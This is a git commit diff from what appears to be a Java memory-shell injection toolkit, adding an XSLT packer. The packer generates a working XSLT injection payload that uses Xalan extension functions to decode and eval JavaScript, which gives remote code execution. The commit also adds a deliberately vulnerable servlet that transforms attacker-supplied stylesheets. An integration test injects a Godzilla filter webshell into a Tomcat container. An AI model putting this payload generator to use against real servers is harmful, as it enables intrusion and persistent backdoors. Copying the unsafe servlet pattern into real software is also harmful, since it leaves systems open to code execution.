feat: add XSLT packer

This commit is contained in:
ReaJason
2026-08-30 21:19:42 +08:00
parent 70935d6ab1
commit ceb8e3ddb4
8 changed files with 189 additions and 0 deletions
@@ -445,6 +445,7 @@ public class ShellAssertion {
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content); case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content);
case Base64 -> VulTool.postIsOk(url + "/b64", content); case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
@@ -0,0 +1,58 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2026/8/30
*/
@Slf4j
@Testcontainers
public class Tomcat8XSLTContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
}
}
@@ -53,6 +53,8 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
import com.reajason.javaweb.packer.xslt.XSLTPacker;
import com.reajason.javaweb.packer.xslt.XSLTScriptEnginePacker;
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker; import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker; import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobPacker; import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
@@ -154,6 +156,12 @@ public enum Packers {
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class), XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class), XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
/**
* XSLT 打包器
*/
XSLT(new XSLTPacker()),
XSLTScriptEngine(new XSLTScriptEnginePacker(), XSLTPacker.class),
/** /**
* Java 反序列化打包器 * Java 反序列化打包器
*/ */
@@ -0,0 +1,10 @@
package com.reajason.javaweb.packer.xslt;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2026/8/30
*/
public class XSLTPacker implements AggregatePacker {
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.packer.xslt;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
/**
* JDK 1.6 ~ 1.8 XSLT payload (Xalan Java extension functions): decodes the
* JavaScript payload with javax.xml.bind.DatatypeConverter (bundled since JDK6,
* removed in JDK11) and evaluates it through the built-in ScriptEngineManager
* js engine (Rhino on JDK 1.6/1.7, Nashorn on JDK 1.8).
*
* @author ReaJason
* @since 2026/8/30
*/
public class XSLTScriptEnginePacker implements Packer {
String template = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
"xmlns:base=\"http://xml.apache.org/xalan/java/javax.xml.bind.DatatypeConverter\" " +
"xmlns:stringclazz=\"http://xml.apache.org/xalan/java/java.lang.String\" " +
"xmlns:jsclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\" " +
"xmlns:jseclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\" " +
"exclude-result-prefixes=\"base stringclazz jsclazz jseclazz\">" +
"<xsl:template match=\"/\">" +
"<xsl:variable name=\"payload\" select=\"stringclazz:new(base:parseBase64Binary('{{base64Str}}'))\"/>" +
"<xsl:variable name=\"jsobj\" select=\"jsclazz:new()\"/>" +
"<xsl:variable name=\"jso\" select=\"jsclazz:getEngineByName($jsobj,'js')\"/>" +
"<xsl:variable name=\"jse\" select=\"jseclazz:eval($jso,$payload)\"/>" +
"<xsl:value-of select=\"$jse\"/>" +
"</xsl:template>" +
"</xsl:stylesheet>";
@Override
public String pack(ClassPackerConfig config) {
String js = Packers.DefaultScriptEngine.getInstance().pack(config);
return template.replace("{{base64Str}}",
Base64.getEncoder().encodeToString(js.getBytes(StandardCharsets.UTF_8)));
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.packer.xslt;
import com.reajason.javaweb.packer.ClassPackerConfig;
import org.junit.jupiter.api.Test;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
class XSLTPackerTest {
private static ClassPackerConfig config(String className) {
ClassPackerConfig config = new ClassPackerConfig();
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
config.setClassName(className);
config.setClassBytes(classBytes);
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
return config;
}
@Test
void packScriptEngine() {
String payload = new XSLTScriptEnginePacker().pack(config("com.example.Test"));
assertTrue(payload.startsWith("<xsl:stylesheet"));
assertTrue(payload.contains("DatatypeConverter"));
assertTrue(payload.contains("ScriptEngineManager"));
// the inner js payload is base64 encoded, class name should not appear in plain text
assertFalse(payload.contains("com.example.Test"));
}
}
@@ -0,0 +1,29 @@
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.IOException;
import java.io.StringReader;
/**
* @author ReaJason
* @since 2026/8/30
*/
public class XSLTServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
try {
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(new StreamSource(new StringReader(data)));
transformer.transform(new StreamSource(new StringReader("<?xml version=\"1.0\" encoding=\"UTF-8\"?><root/>")),
new StreamResult(resp.getWriter()));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@@ -33,6 +33,15 @@
<url-pattern>/js</url-pattern> <url-pattern>/js</url-pattern>
</servlet-mapping> </servlet-mapping>
<servlet>
<servlet-name>xslt</servlet-name>
<servlet-class>XSLTServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>xslt</servlet-name>
<url-pattern>/xslt</url-pattern>
</servlet-mapping>
<servlet> <servlet>
<servlet-name>java-deserialize</servlet-name> <servlet-name>java-deserialize</servlet-name>
<servlet-class>JavaReadObjServlet</servlet-class> <servlet-class>JavaReadObjServlet</servlet-class>